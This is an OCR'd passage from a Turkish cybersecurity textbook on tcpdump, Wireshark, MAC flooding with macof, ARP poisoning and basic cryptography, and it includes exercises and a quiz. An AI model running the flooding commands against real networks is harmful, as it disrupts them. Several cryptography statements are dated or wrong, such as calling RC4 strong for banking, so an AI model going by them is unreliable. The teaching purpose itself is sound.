Burada 3389 degeri, izlenecek port ile degistirilmelidir.

5. Ornek

tcp.flags.reset==1
TCP Reset streamlerini filtreler.

6. Ornek

http.request
HTTP GET requestlerini filtreler.

7. Ornek

tcp contains traffic
Tum TCP paketlerinin icinde “astronur” ifadesi gecenleri filtreler.

8. Ornek

tcp.analysis.retransmission
TCP ReTransmission streamleri goruldr.

Tablo 4.3: Wireshark Uygulamasinda Filtre Karsilashrma Operatorleri

ingilizce Format | C Programi Format Anlami
eq == Esit
ne 1= Esit degil
gt > Buyiik
It < Kiguk
ge >= Blyilik ya da esit
le <= Kiiglk ya da esit
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Tablo 4.4: Wireshark Uygulamasinda Filtre Mantiksal ifadeler

ingilizce Format C Programi Format Anlami
and && Mantiksal AND
or | Mantiksal VEYA
xor AN Mantiksal DISLAYAN VEYA
not ! Mantiksal DEGIL
4.1.2. Tcpdump

Tcpdump, Linux sistemlerinde kurulu olarak gelir ve licretsiz bir aractir. Paket analizi yapmak
icin kullanilir. Tcpdump, Linux isletim sisteminde komut satirinda galisan bir aragtir. Ag trafiginin
fazla oldugu yerlerde agi yoneten kisiler, istedikleri paketleri yakalayip dinlemek igin tcpdump
kullanirlar. Kali Linux isletim sisteminde tcpdump komutlarini kullanmak icin root (yonetici) yet-
kisine sahip olmak gerekir.

Kali Linux isletim sisteminde nasil root (yonetici) yetkilisi olunduguna yonelik buldugunuz

SIRA SiZDE

arastirma sonuglarini sinifta arkadaslarinizla paylasiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine goére degerlendirilecektir.

KONTROL LIiSTESI

OLCUTLER EVET | HAYIR
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Tcpdump komutu cesitli parametrelere sahiptir. En yaygin olarak kullanilan parametreler

Gorsel 4.13’te verilmistir.

Parametre Adi

Aciklama

tcpdump

Ag trafigini analiz eder.

tcpdump -D

Ag lzerinde dinlenebilecek bitlin araylzleri listeler.

tcdump -i “araytiziin adi”

Belirtilen araylzln dinlenmesini saglar.

tcpdump -v

Paketin protokol icerigini de gdsteren detayli bir analiz yapar.

tcpdump -vv

Paketin NFS ve SMB icerigini de gosteren detayl bir analiz yapar.

tcpdump -vvv

Paketin TELNET icerigini de gosteren detayl bir analiz yapar.

tcpdump -q

Paketin sadece temel bilgilerini iceren bir analiz yapar.

tcdump -c “sayl”

Belirtilen sayida paket igerigini listeler.

tcpdump -n

Analiz esnasinda transfer yapilan adresin IP adresi ve port numa-
rasini yazdirir.

tcpdump -n dst “IP adresi”

Belirtilen IP adresine giden paketleri listeler.

tcpdump -n src “IP adresi”

Belirtilen IP adresinden gelen paketleri listeler.

tcpdump -n “IP adresi”

Belirtilen IP adresinden gelen veya giden biitlin paketleri listeler.

tcpdump -n dst net “ag adresi”

Belirtilen ag adresine giden paketleri listeler.

tcpdump -n src net “ag adresi”

Belirtilen ag adresinden gelen paketleri listeler.

tcpdump -n net “ag adresi”

Belirtilen ag adresinden gelen veya giden bitlin paketleri listeler.

tcpdump -n port “port numarasi”

Hedef veya kaynak portu belirtilen port olan paketleri listeler.

tcpdump -n dst port “port numarasi”

Hedef portu belirtilen port olan paketleri listeler.

tcpdump -n src port “port numarasi”

Kaynak portu belirtilen port olan paketleri listeler.

tcpdump -vicmp

ICMP paketlerini listeler.

tcpdump -v arp

ARP paketlerini listeler.

tcpdump -p Tcpdump ile yalnizca dinleme yapilan arabirime gelen paketleri
yakalamak i¢in segici olmayan moddan cikilmasi icin kullanilir.
tcpdump -e Yakalanan paketlerin ikinci katman bilgilerini, bir baska deyisle

MAC adreslerini elde etmek igin kullantlir.

tcpdump -w “dosya ismi”

istenilen paketleri bir dosya halinde kaydeder. Kaydedilen bu
dosya Wireshark gibi programlarla agilarak da incelenebilir.

tcpdump -r “dosya ismi”

Dosya halinde olan bir paket listesini agar.

Gorsel 4.13: tcpdump parametreleri

4. UYGULAMA

Tcpdump Parametrelerinin Kullanimi

Diger sayfada verilen islem adimlarina gore Linux isletim sisteminde actiginiz komut satirina

tcpdump parametrelerini sirasiyla yaziniz.
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1. Adim: tcpdump parametresi yalin olarak kullanildiginda arayliz numarasi en dusik agi
dinlemeyi saglar. ethO, ethl, eth2 seklinde Ui¢ adet aktif ag araylizii olan bir bilgisayarda tcpdump
komutunu yalin olarak kullaniniz.

2. Adim: tcpdump -D parametresiyle ag Uzerinde dinlenebilecek bitin araylzleri Gorsel
4.14’deki gibi tcpdump -D komutu ile listeleyiniz.

[ ]

Gorsel 4.14: tcpdump -D komutunun kullanimi

3. Adim: tcpdump -i “arayiiz adi” parametresi ismi yazilan araylzi dinlemek icin kullantlir.
ethO araylzini dinlemek i¢in Gorsel 4.15’deki komutu yaziniz. ethO arayiliziinde olusan biitiin
paketlerin listelendigini goriinlz.

Gorsel 4.15: tcpdump -i eth0 komutunun kullanimi
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4. Adim: tcpdump -n parametresi dinlemeye takilan paketlerin IP adresini ve port numarasini
yazdirir. Gorsel 4.16’daki gibi tcpdump -n komutunu yaziniz.

—

Gorsel 4.16: tcpdump -n komutunun kullanimi

. SIRA SiZDE

Asagidaki tcpdump parametrelerini uygulayarak sonuglarini sinifta arkadaslarinizla paylasiniz.

tcpdump -v, tcpdump -v arp, tcpdump -q, tcpdump -e

DEGERLENDIRME

Calismalariniz agsagida yer alan kontrol listesine gére degerlendirilecektir.

KONTROL LiSTESI

OLGUTLER
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4.2. MAC SELi (MAC FLOODING) SALDIRISI

MAC seli (MAC flooding), MAC adresi tasmasi anlamina gelir. Ag Uzerindeki Switch
(Yonlendirici) cihazlarinda agdaki haberlesmeyi yonetmek icin MAC adres tablosu bulunmak-
tadir. Switch cihazinda MAC adres tablosunun belli bir kapasitesi vardir. Saldirgan, bir
bilgisayardan strekli yeni MAC adresi gondererek, Switch cihazinin MAC tablosunu doldurup
gorevini yapmasini engelleyebilir. Gérsel 4.17°deki bu saldiri yontemine MAC seli (MAC flooding)
saldirisi adi verilmektedir.

C: YO0k XXX XX XXX

Kaynak MA -
Kaynak MAC: YYY yyy YYY YYY
Kaynak MAC: 72z 222 222 771
PC-C
Saldirgan Switch ‘
PC-B

Gorsel 4.17: MAC flooding saldirisi

Switch cihazi bu saldiriya daha fazla dayanamayip gelen paketleri belirli bir adrese degil de tim
makinelere géndermeye baslar. HUB (¢oklayici) gibi davranarak agdaki trafigi ve islemleri diger
makineler disinda saldirgan makineye de gdnderir. Bu durumda saldirgan makine, agdaki tim
trafigi okur ve agda yavaslamaya sebep olur. Aga bagl tiim makineler zamanla agdan diismeye

baslar.

4.2.1. MAC Flooding Saldirisi Yapma

Kali Linux isletim sistemi Gizerinden MAC flooding saldirisi yapmak icin macof komutu kullanilir.
Gorsel 4.18'deki gibi macof -h komut dizini kullanilarak macof komutunun tiim parametreleri
gorulebilir.

Gorsel 4.18: macof -h komut dizini
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macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport] [-n times]

-i interface Arayliz

-s src Kaynak IP adresi

-d dst Hedef IP adresi

-e Specify Hedef MAC adresi

-X sport Kaynak port numarasi

-y dport Hedef port numarasi

-n times Gonderilecek paket sayisi

. ORNEK

macof komutu kullanarak 100 adet MAC flooding saldirisi yapmak icin Gorsel 4.19’daki
macof -s 100 gibi gerekli kodlari yaziniz. Rastgele kaynak MAC adreslerinin portlarindan hedef
MAC adreslerinin portlarina iletisim kurulacaktir. Gorsel 4.19'daki kirmizi renkli alan kaynak MAC
adresi, mavi renkli alan ise hedef MAC adresidir.

Gorsel 4.19: macof komutu ile saldiri 6rnegi

162 I Sniffing Yontem ve Uygulamalari



4.2.2. MAC Flooding Saldiri Tespiti

MAC flooding trafigi Wireshark programi ile analiz edilebilir. Wireshark meni segeneklerinden
Gorsel 4.20°deki gibi Statistics >I/0 Graph sekmesi tiklandigi zaman agdaki paket sayisinda belirli
bir siirede Gorsel 4.21'deki gibi anormal bir artisin olmasi saldirinin yapildigini géstermektedir.

Gorsel 4.20: MAC flooding saldirisinin analizi

Gorsel 4.21: Wireshark 1/0 grafik ekrani
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Wireshark menil ¢ubugundan Statistics > Conversations se¢cenegine tiklanarak saldiri tespiti
yapilir. Gorsel 4.22'deki tabloda IP adreslerinin sahteligi, paketlerin byte boyutu, byte boyutunun
belli bir oranda sabit olmasi ve paket transferleri arasindaki zaman farkinin cok az olmasi bu aga
bir MAC flooding saldirisi yapildigini géstermektedir.

Gorsel 4.22: Wireshark Conversations ekrani

4.2.3. MAC Flooding Saldirisindan Korunma Yollan

Agda kullanilan IP-MAC adresi eslesmeleri Switch cihazinin port sayisi kadar yapiimalidir.
Boylece Switch cihazinin giris portuna farkli bir IP-MAC eslesmesine sahip ARP istegi engellenir.

Switch cihazinin giris portlarina belli bir stirede gelen ARP istegi sinirlandirilarak da saldiri
engellenebilir.

. SIRA SiZDE

Switch cihazi Uzerinden IP-MAC eslesmesinin port sayisi kadar nasil yapildigini arastirarak
buldugunuz sonuclari sinifta arkadaslarinizla paylasiniz.

164 I Sniffing Yontem ve Uygulamalari



DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR

4.3. ARP ZEHIRLENMESi (ARP POISONING)

ARP (Address Resolution Protocol), adres coziimleme protokolidir. ARP, ag Uzerinde
haberlesen bilgisayarlarin IP adreslerini MAC adreslerine gevirir ve ARP tablosunda tutar. MAC-
IP eslemelerinin yer aldig1 bu tablo zaman zaman giincellenir. ARP zehirlenmesi, saldirganin yerel
alan aginda sahte ARP mesajlari gonderdigi bir saldiri tirtidir. ARP tablosunun yanlis bilgilerle
doldurulmasiyla gerceklesen bu saldirida agdaki tiim haberlesme saldirgan tarafindan ele
gegcirilir. Bir makinedeki ARP tablosunu goriintiilemek i¢in cmd ekranina Gorsel 4.23’teki arp -a
kodu yazilir.

Gorsel 4.23: ARP tablosunu gériintiileme
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ARP zehirlenmesi li¢ sekilde gerceklestirilmektedir. Bunlar; hedef bilgisayarin ARP tablosunu
doldurma, ortadaki adam saldiri yontemi (Man in the Middle), hedef bilgisayarin paketlerini
baskasina gondermedir.

Hedef Bilgisayarin ARP Tablosunu Doldurma

Saldirgan, hedef bilgisayardaki IP-MAC eslesmelerinin yer aldigi ARP tablosunda degisikler
yapar. Boylece hedef bilgisayardaki paketlerin kendi belirttigi adrese gitmesini saglayip paket
iceriklerini okuyabilir.

Ortadaki Adam Saldiri Yontemi (Man In The Middle)

Saldirgan, ortadaki adam saldirisinda ayni ag lizerinde haberlesen iki cihazin arasina girerek
agdaki tim iletisimi Gorsel 4.24’teki gibi dinleyebilir, iletisimi sonlandirabilir veya sahte bir
iletisim olusturabilir.

Kullanici (User)

Gergek Baglant

internet
Sunucusu

Yeni Baglanti Yeni Baglanti

Saldirgan (Hacker)
Gorsel 4.24: Ortadaki adam saldirisi (MITM)

Hedef Bilgisayarin Paketlerini Baskasina G6nderme

Ag icinde tasinan paketler, saldirganin belirledigi bilgisayara génderilir. Hedef bilgisayarin
ulasmak istedigi HTTP paketindeki web sayfasi yerine saldirganin belirledigi web sayfasinin
actimasi saglanabilir.
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- OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantezlerin igine yargilar dogru ise “D”, yanls ise “Y” yaziniz.

1. ( ) Sniffing, ag Gzerindeki protokollerin koklanmasi anlaminda kullanilir.

2. ( ) Wireshark, acik kaynak bir yazilimdir.
3.( ) MAC flooding saldirisini yapmak icin tcpdump araci kullantlir.

4. ( ) Saldirganin sahte ARP mesajlari gondermesi, ARP poisoning atagi olarak ifade edilir.

5.( ) Nmap, sniffing islemlerinde sik¢a kullanilan uygulamalardan biridir.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

6. Yerel alan agindaki trafigin dinlenmesinde, kaydedilmesinde ve kayitlarin okunmasinda
grafik arayilize sahip ....ccccevevveciieei i programi kullanilir.

7. Paket analizi yapmak, yakalanan paketleri okumak ve kaydetmek i¢in komut satirinda
GalISAN i parametresi kullantlir.

8. Saldirgan, bilgisayardan sirekli yeni bir MAC adresi gondererek Switch cihazinin MAC
tablosunu doldurur. Bu nedenle Switch cihazi gorevini yapamaz hale gelir. Yapilan bu saldiri
YONTEMINE ..o ad verilir.

C) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

9. Asagidaki bilgilerden hangisi yanhstir?

A) HTTP kullanan web sitelerinde girilen oturum bilgileri Wireshark ile okunur.
B) HTTP paketleri igcindeki bilgiler sifreli bicimde bulunur.

C) HTTP paketleri tcpdump araci ile dinlenir.

D) HTTP, web sayfalarinin gérintilenmesini saglar.

E) Wireshark uygulamasinda http paketleri filtrelenir.

10. Asagidaki tcpdump komutlarindan hangisi paketin sadece temel bilgilerini iceren bir

analiz gergeklestirir?
A) tcpdump -D B) tcpdump -e
C) tcpdump -p D) tcpdump -q
E) tcpdump -v
11. Asagidaki macof komutu parametrelerinden hangisi hedef MAC adresini belirtmek igin
kullanilir?

A) -d B) -e C)-i D) -s E) -y
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KONULAR

5.1. SIFRELEME ALGORITMALARI
5.2. ASIMETRIK SIFRELEME
5.3. STEGANOGRAFi SIFRELEME YONTEMI

NELER OGRENECEKSINiz?

o Sifreleme yontemleri

e Simetrik ve asimetrik sifreleme islemleri
e Hash islemleri

¢ Steganografi yontemleri

ANAHTAR KELIMELER

DES, RSA, SHA, Diffie-Hellman, md5, steganografi, image histogram, ortak
anahtar, 6zel anahtar
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HAZIRLIK CALISMALARI

1. Sifreleme yontemleri hakkinda bildikleriniz nelerdir?

2. Sizce parola ve sifre kavramlarinin benzer ve farkl yonleri nelerdir?

5.1. SIFRELEME ALGORITMALARI

Ag vyapilarinda kullanicinin baska kullaniciya gonderdigi bilgi Gglinct kisiler tarafindan
dinlenebilme tehlikesi altindadir. Bilgilerin alici digindaki kullanicilar tarafindan okunmamasi igin
koruma altina alinmasi gerekir. Yapilan bu koruma islemine sifreleme (encrypt) adi verilir. Veriyi
sifrelemek (ciphertext) ve sifrelenen verinin sifresini ¢c6zmek icin matematiksel algoritmalar
kullaniimalidir. Sifreli verinin geri dondirilme islemine sifre cozme (decrypt) adi verilir. Sistematik
anahtarlama sisteminde sifre ve desifrede ayni anahtarlama kullanilir. Agik anahtarlama siste-
minde ise sifrelemek icin agik anahtarlama, desifre yapmak icin gizli anahtarlama kullanilir. Dijital
imzalar agik anahtar sistemi ile Uretilir. Dijital imza sahibi, gonderilen veriyi imzalamak igin gizli
anahtar kullanirken alici ise gondericinin acik anahtarini kullanarak veriyi kontrol eder.

Sifreleme algoritmalarianahtar kullanma yéntemlerine gore gizli anahtarli (simetrik) sifreleme
algoritmalari ve agik anahtarl (asimetrik) sifreleme algoritmalari olmak lizere iki kategoriye ayrilr.

5.1.1. Simetrik Sifreleme Yontemleri

Simetrik sifreleme, bilgileri sifrelemek ve desifre etmek icin yalnizca bir gizli anahtar iceren
en basit sifreleme turtdir. Gizli anahtar sifreleme algoritmalari sifrelemek ve ¢dzmek i¢in ayni
anahtari kullanir. Bu durum, veri sifrelemek agisindan daha sorunsuz bir yaklasimdir. Gizli anahtar
sifreleme yaygin kullanilan bir yontemdir. Bu tip algoritmalarda sifrelenen veriyi aliciya génderir-
ken ayrica gizli anahtari da aliciya glivenli bir ydntemle géndermek gerekir. Gizli anahtar sifreleme
sistemi ¢ok hizli sifreleme ve sifre ¢oziimleme islemlerini gerceklestirebilir. Gorsel 5.1'de bir
simetrik sifreleme yontemine ait blok diyagram verilmistir.

Sifreleme islemi Sifre Coziimleme islemi

Simetrik Anahtar Simetrik Anahtar

Gorsel 5.1: Simetrik sifreleme blok diyagrami
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Simetrik sifrelemenin avantajlari sunlardir:

e Sifreleme ve sifreyi cozme islemleri hizhidir.
e Alici ve verici arasindaki iletisimin gizliligi saglanir.

e Sifreli metin ¢ozllemedikge orijinal metin degistirilemeyecektir.

Bunun yaninda simetrik sifreleme siirecinin birtakim zorluklari da mevcuttur. Simetrik

sifrelemenin sahip oldugu baslica zorluklar su sekilde siralanabilir:

* Anahtar saklamak zordur.
e n kullanicili bir sistem icin [n * (n-1) / 2 ] anahtar saklanmalidir.
e Glvenilir anahtar dagitimi zordur.

e Kimlik dogrulama (authenticity) saglamaz. Ayni anahtara sahip olan herhangi biri tarafindan
veri sifrelenmis olabilir.

e Bltlnluk saglamaz. Araya giren kisi tarafindan veri degistirilmis olabilir.

e Kimlik dogrulama ve bitinlik saglamadigi igin inkar edilememezlik saglamaz.

5.1.1.1. DES (Data Encryption Standart) Veri Sifreleme

DES diinyada en yaygin kullanilan sifreleme algoritmalarindan biridir. DES, sifrelenecek acik
metni parcalara bolip (blok) her parcayi birbirinden bagimsiz olarak sifreler ve sifrelenmis
metni agmak icin de ayni islemi bloklar lzerinde yapar. Bu bloklarin uzunlugu 64 bittir. Anahtar
uzunlugunun kisa olmasi nedeniyle DES sifreleri kirilabilir. Bunun Uzerine Triple-DES, bir baska
deyisle 3DES gelistirilmistir. 3DES, DES’in Ust Uste Ug kere kullanilmasi yontemiyle elde edilmistir.
Bu sebeple normal DES’e gore (¢ kat daha yavas ¢alisir. AES’in ¢ikmasi tzerine DES popdlerligini
kaybetmistir.

DES, bit tabaninda (1 ve 0) calisan bir sifreleme algoritmasidir. Bu sifreleme algoritma-
sinda sifrelenecek mesaj 64 bitlik parcalara bolinir. Her 64 bitlik blok ise 8 karaktere karsilik
gelir (1 bayt 8 bittir.). 64 bitlik mesaj daha sonra sag ve sol olmak Uzere iki kisma ayrilir. 32
bitlik sag kisim caprazlanarak cikisin sol bolimiine dogrudan aktarilmaktadir. Ayrica bu 32
bitlik sag kisim dnce anahtar Ureticisi tarafindan Uretilen 48 bitlik anahtar ile F fonksiyonuna
tabi tutulup sol kisimdan gelen 32 bitlik mesaj ile XOR islemi yapilir. Elde edilen sonug, ¢ikisin
sag bolimine aktarilir. Bu islem 16 defa tekrar edilecegi icin ilk islemde dogrudan aktarilan
32 bitlik sag kisim, bir sonraki tekrarda sol kisma gececeginden F fonksiyonuna ve XOR (&zel
veya degil) islemine tabi tutulacaktir. Boylelikle sifreleme islemi uygulanmamis higbir bit kalma-
yacaktir.
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DES sifreleme algoritmasinin ¢alisma mantigi Gorsel 5.2°de verilmistir.

16
defa
tekrar

Gorsel 5.2: DES sifreleme algoritmasi

. 1. UYGULAMA

DES Sifreleme

Asagidaki islem adimlarina gore DES sifreleme uygulamasini yapiniz.

1. Adim: Web tarayicisina “DES encode” yazarak arama yapiniz. Bu uygulama icin on-line bir
araca ait ekran goruntisi Gorsel 5.3’te verilmistir.

Gorsel 5.3: DES encode islemi web site arayiizii
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2. Adim: Sol taraftaki metin kutusuna sifrelemek istediginiz metni giriniz. Altindaki “Paste Key”
alanina belirleyeceginiz anahtar kelimeyi yaziniz (Gorsel 5.4). Bu uygulama igin metin kutularina
sifrelenmesi istenilen metin olarak “Mesleki ve Teknik Egitim”, anahtar kelime olarak da “MTAL”
girilmistir.

Gorsel 5.4: Sifrelenecek metnin ve anahtar kelimenin girilmesi

3. Adim: Bilgileri girdikten sonra sifrelenmis metin icin “Encrypt string” butonuna basiniz.
Elde edilen sifrelenmis metin sag taraftaki blylik metin kutusunda yazacaktir (Gorsel 5.5).

Gorsel 5.5: DES ile sifrelenmis metnin elde edilmesi

4. Adim: Elde edilen sifreler, acik metin (sifrelenmemis metin) haline de donustirdlebilir. Bu
islem icin Gorsel 5.5’teki sifrelenmis metni kopyalayiniz.
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5. Adim: Ayni web sitesini tekrar aciniz. Kopyalanan sifrelenmis metni sag taraftaki metin
kutusuna yapistiriniz. DES sifrelemede kullanilan anahtar kelimenin degismemesi gerektigi icin
anahtari dogru bir sekilde yeniden “Key” alanina yaziniz. Bu uygulamada ilk basta agik metin
“MTAL” anahtari ile sifrelendigi icin Key bilgisi yeniden “MTAL” olarak girilmistir (Goérsel 5.6).

Gorsel 5.6: DES decrypt islemi icin sifreli metnin ve anahtarin girilmesi

6. Adim: Bilgileri girdikten sonra sag alt tarafta bulunan “Decrypt string” butonuna basiniz
(Gorsel 5.7-1 numarali ok) ve agik metni (plaintext) veya sifrelenmemis metni elde ediniz (Goérsel

5.7-2 numarah ok).

Gorsel 5.7: DES decrypt islemi

GUnumuzde kullanilan simetrik sifreleme yontemlerinden bazilari asagida verilmistir.

Blowfish: Glnlim{ziin en hizh blok sifreleyici algoritmalarindan biridir. Bu sifreleme yonte-
minde karmasik anahtar cizelgesi kullanildigi icin bu yontemle elde edilen sifrelerin kirilmasi
oldukga zordur. Blowfish, 23'ten 448 bite kadar anahtar uzunluguna sahiptir.

AES ( Advanced Encryption Standart ): DES’in zayif yonlerinin kuvvetlendirilmis halidir ve
blok sifreleme algoritmasini kullanir. AES uzunlugu 128 bitte sabit olan blok ile uzunlugu 128,
192 veya 256 bit olan anahtar kullanir. Kullanilan tekniklerden bazilari baytlarin yer degistirmesi,
4x4 matrisler lizerine yayllmis metin parcalarinin satirlarina uygulanan kaydirma islemleridir.
GUnUmuzde kullanilan en popdtler algoritmalardan biridir ve Brute Force saldirilarina karsi
dayanikh oldugu dustnlir.

RC4 ( Rivest Encryption 4 ): Bu algoritma, sifrelenecek veriyi akan bir bit dizisi olarak algilar.
RC4, belirlenen anahtar ile veriyi sifreleyen bir algoritmadir. 128 bitlik bir RC4 sifrelemesi saglam
bir sifreleme olarak kabul edilir. Bankacilik sifrelemelerinde yaygin olarak RC4 sifrelemesi kullanilir.
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RC5 (Rivest Encryption 5): Modern sifreleme algoritmalari sinifinda yer alir. 16, 32 ve 64
bitli kelime uzunluklari ile galisabilir. Anahtar boyutu ve dongi sayisi degisken olarak alinabilir.
Boylece yliksek anahtar boyutu ve fazla dongi sayisi ile uzun ¢alisma zamani alir fakat kirllmasi
neredeyse imkansiz sifreler Uretebilir.

. SIRA SiZDE

3DES ve AES fonksiyonlarinin kullanimini arastirarak sifreleme ve sifre ¢ozme islemlerini

yapiniz. Elde ettiginiz sifreli metinleri sifre kirma teknikleri ile kirmayi deneyiniz. Sonugclari
asagidaki tabloya yaziniz. Hangi sifreleme fonksiyonunun daha kullanish ve etkili oldugunu
arkadaslarinizla tartiginiz.

Tablo 5.1: Simetrik Sifreleme Yontemleri

Sifreleme Sifrelenecek Sifrelenmis Metin Decrypt islemi | Decrypt Siiresi
Fonksiyonlari Metin Sonucu (sn.)
DES
3DES
Siber Glvenlik
AES Temelleri
RC5

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR
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5.1.1.2. Tek Yonlii Anahtarsiz Sifreleme (Hash Fonksiyonlari)

Degisken uzunluktaki bir veriyi girdi olarak alip sabit uzunluktaki ¢iktiya donistiiren fonksiyon-
lara hash (6zetleme) fonksiyonlari denir. Hash fonksiyonlari verinin bitlUnligini saglamak
amaciyla kullanilan algoritmalardir. Bu algoritma ile alicinin orijinal metnin degistirilmedigini
tespit etmesi hedeflenmektedir. lyi bir hash algoritmasi iki farkli girdiden ayni hash degerini
iretmeyecek kadar karmasik olmalidir. iki farkh deger icin ayni hash kodu dretilirse bu durum
hash garpismasi olarak bilinir. Hash algoritmasina sifrelenmesi istenilen metin girilir ve hash
fonksiyonuyla metin hashing islemi yapilir (Gorsel 5.8). Elde edilen metin, hash degeridir. Hash
algoritmalari sifreleme algoritmasi icermez.

Hash Algoritmasi

Diiz Yazi Metni Hash Fonksiyonu Hashing Yapilmis Metin
Gorsel 5.8: Hash algoritmasinin ¢alisma mantigi

Hashing fonksiyonlari temel olarak iki amacla kullanihr.

e Gonderilen verinin bltlnligu kontrol edilir. Bu sekilde verinin degismediginden emin olunur.

¢ Hedefe gonderilecek verinin boyutu, biylk boyutlardan daha kiglik boyuta disarilar.

. ORNEK

SIBER kelimesi icin hash fonksiyonu asagidaki gibi hesaplanabilir.

SIBER kelimesindeki biitiin harfler, alfabedeki sira numarasina gore kodlanir. S=22, i=11, B=2,
E=6, R=21 olarak hesaplanir. Daha sonra tiim bu sayisal degerler toplanir. SIBER kelimesinin
Ozetleme algoritmasi sonucu 22+11+2+6+21=62 olarak bulunur.

a@==

“SIBER” kelimesinin 6zetleme algoritmasi 62’dir ancak 62 sonucunu verecek baska girdilerin

olabilecegi gz éniinde bulundurulmalidir. Ornegin “OMER” gibi bir parolanin 6zet fonksiyonu
da 62 sonucunu vermektedir. Bu durumda parolay! elde etmek isteyen biri, baska bir 6zet
fonksiyonundan farkli bir parolay bulabilir. Ozellikle parola saldirilari veya sézliik saldirilarina
karsi savunmasiz kalabilir.

Hash fonksiyonlari farkli alanlarda da kullanilmaktadir. Bunlarin arasinda en sik kullanilan alan
parolalarin saklanmasidir. Parolalar kullanicinin yazdigi sekilde saklanmaz, 6zetleme fonksiyonu
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kullanilarak kodlanir. Bu sayede parola 6zeti kaydedilse bile parolanin kendisi elde edilemez.
Windows isletim sistemlerinde LM ve NTLM ozetleri, Linux isletim sistemlerinde ise md5 gibi
Ozetleme fonksiyonlari kullanilir. Parola dogrulama 6zellikle kriptografik hash icin énemli bir
uygulamadir. Kullanicilarin sifrelerini diiz metin belgesinde saklamak bir felakete yol acar.
Belgeye erismeyi basaran herhangi bir bilgisayar korsani, korumasiz sifrelerden olusan bir
hazine kesfedecektir. Bu yizden sifrelerin karma degerlerini saklamak daha glvenlidir. Bir
kullanici herhangi bir parola girdiginde hash degeri hesaplanir ve ardindan tabloyla karsilastirilir.
Hesaplanan hash degeri kaydedilen degerlerden biriyle eslesirse bu gecerli bir paroladir ve
kullanicinin erisimine izin verilebilir.

(i) md5 Hash Fonksiyonu

md5 (Message-Digest Algoritmasi 5), veri batlinlGgiand test etmek icin kullanilan bir sifreleme
algoritmasidir. Bu algoritma, girdinin blylkligliinden bagimsiz olarak 128 bitlik bir ¢ikti Gretir ve
girdideki en ufak bir bit degisikligi bile ¢ciktinin tamamen degismesine sebep olur. md5 genellikle
veri batanltgind dogrulamak icin bir saglama toplami olarak kullanilir. Bir verinin (dosyanin)
dogru transfer edilip edilmediginin veya degistirilip degistirilmediginin kontrol edilmesi, md5’in
en fazla kullanildigi yerlerden bazilaridir.

Bir md5 hash islemi, herhangi uzunlukta bir dizi alinip, 128 bitlik bir algoritmaya kodlanarak
olusturulur. Ayni girdiye ait md5 algoritmasi her zaman ayni ¢iktiyi Gretir. Bu algoritma genellikle
veri tabani parolalarini sifrelemek igin kullanilir.

- 2. UYGULAMA

md5 Hash islemi

Asagidaki islem adimlarina gére md5 hash degerini hesaplayiniz.

1. Adim: Web browser lzerinde md5 kodlama yapilabilecek birgok web sayfasindan birini
gorintileyiniz.

2. Adim: md5 hashing yapilmasi istenilen bilgiyi metin kutusuna yaziniz.

3. Adim: Hash butonuna basarak girilen metnin md5 hash degerini elde ediniz (Gorsel 5.9).

md5 ( [parola )

hash darling, hashl

md5 checksum:

8287458823tacb8ff918dbfabcd22cch

Gorsel 5.9: md5 sifreleme islemi
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“parola” seklinde verilen diiz metin, 8287458823fach8ff918dbfabcd22ccb olarak hash
sonucunu Uretir. “parola” verisi, elde edilen hash kodu ile saklanir ancak elde edilen md5 hash
kodlari internet {izerinden geri dénistirilir (decrypt). Ornegin on-line aragla énceden elde
edilen “8287458823fach8ff918dbfabcd22ccbh” hash kodu girilirse md5 decrpyt islemi yapilarak
hash kodu baslangigtaki diiz metin haline cevrilebilir (Gorsel 5.10).

8287458823fach8ffd18dbfabcd22cch

auto hd

decrypt

Result:
parola

Gorsel 5.10: md5 hash geri déondiirme islemi

(ii) SHA-1 Hash Fonksiyonu

SHA-1 (Secure Hash Algoritmasi), glivenli hashing algoritmasi anlamina gelir. Algoritmanin
temel gorevi, rastgele bilgilerin sabit bir uzunluga sahip degerlere donustirilmesidir. SHA-1,
uzunlugu en fazla 264 bit olan mesajlari girdi olarak kullanir ve 160 bitlik mesaj 6zeti lretir. Bu
islem sirasinda ilk 6nce mesaji 512 bitlik bloklara ayirir ve gerekirse son blokun uzunlugunu
512 bite tamamlar. SHA-1 algoritmasi ile sadece sifreleme islemi yapilir, sifre ¢ozimleme
islemi yapilamaz. SHA-1 algoritmasi; e-posta sifreleme uygulamalari, glivenli uzaktan erisim
uygulamalari, 6zel bilgisayar aglari ve daha bircok alanda kullanilabilir. Glinimizde glivenligi
artirmak amaciyla veriler SHA-1 ve md5 algoritmalari birbiri ardina kullanilarak sifrelenir.

Basit birifadeyle SHA-256, 256 bitlik 6zet uzunluguna sahip kriptografik hash fonksiyonlarindan
biridir. Bu anahtarsiz hash islevi, bir MDC (Manipulation Detection Code) anlamina gelmektedir.
SHA-256, SHA ailesinin alti ¢esidinden biridir (SHA-224, SHA-256, SHA-384, SHA-512, SHA-
512/224, SHA-512/256). Bu versiyonlar; ciktilarinin boyutu, i¢ durum boyutu, blok boyutu,
mesaj boyutu ve turlari agisindan farkhlik gosterir. Ginim{iizde SSL sertifika dlizenleyicileri, daha
glivenilir olan SHA-256 kullanmaktadir.

Asagida belirtilen 6zellikler SHA-256"y1 oldukga glivenli kilar.

e Hash degerinden ilk veriyi yeniden olusturmak neredeyse imkansizdir. Bir kaba kuvvet
saldirisinin ilk veriyi elde edebilmesi igin 22°¢ girisimde bulunmasi gerekir.

e Ayni hash degerinde iki mesaja sahip olmak ¢arpisma olarak adlandirilir ve olasi degildir.
2% olasi hash degeriyle Uretilen iki SHA-256 kodunun ayni olma olasiligi son derece kiigik-
tar.
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Orijinal veri Uzerinde vyapilacak kiglik bir degisiklik, hesaplanan SHA-256
degerini fazlaca degistirir ve yeni degerin benzer verilerden tiiretildigi anlasilamaz.
Buna ¢ig etkisi denir. Ornegin “Merhaba” kelimesinin SHA-256 hash kodu “7fdc9f47
17c5fe66df286c700fab969b4d6209d03aa84624c5f8f58c17c9c058” iken  “merhaba”
